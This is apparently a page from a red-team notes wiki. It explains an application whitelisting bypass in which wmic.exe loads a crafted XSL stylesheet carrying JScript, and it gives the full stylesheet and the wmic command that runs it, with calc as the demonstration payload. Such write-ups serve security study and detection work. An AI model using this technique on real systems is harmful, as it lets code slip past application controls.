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        • WMI as a Data Storage
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      • Persisting in svchost.exe with a Service DLL
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  • reversing, forensics & misc
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      • Configuring Kernel Debugging Environment with kdnet and WinDBG Preview
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      • System Service Descriptor Table - SSDT
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      • Instrumenting Windows APIs with Frida
      • Exploring Process Environment Block
      • Writing a Custom Bootloader
    • Cloud
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    • Neo4j
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  1. offensive security
  2. Code Execution

Application Whitelisting Bypass with WMIC and XSL

PreviousForfiles Indirect Command ExecutionNextPowershell Without Powershell.exe

Last updated 6 years ago

Another application whitelist bypassing technique discovered by Casey @subTee, similar to squiblydoo:

Execution

Define the XSL file containing the jscript payload:

evil.xsl
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
	<ms:script implements-prefix="user" language="JScript">
	<![CDATA[
	var r = new ActiveXObject("WScript.Shell").Run("calc");
	]]> </ms:script>
</stylesheet>

Invoke any wmic command now and specify /format pointing to the evil.xsl:

attacker@victim
wmic os get /FORMAT:"evil.xsl"

Observation

Calculator is spawned by svchost.exe:

References

regsvr32
http://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.htmlsubt0x11.blogspot.com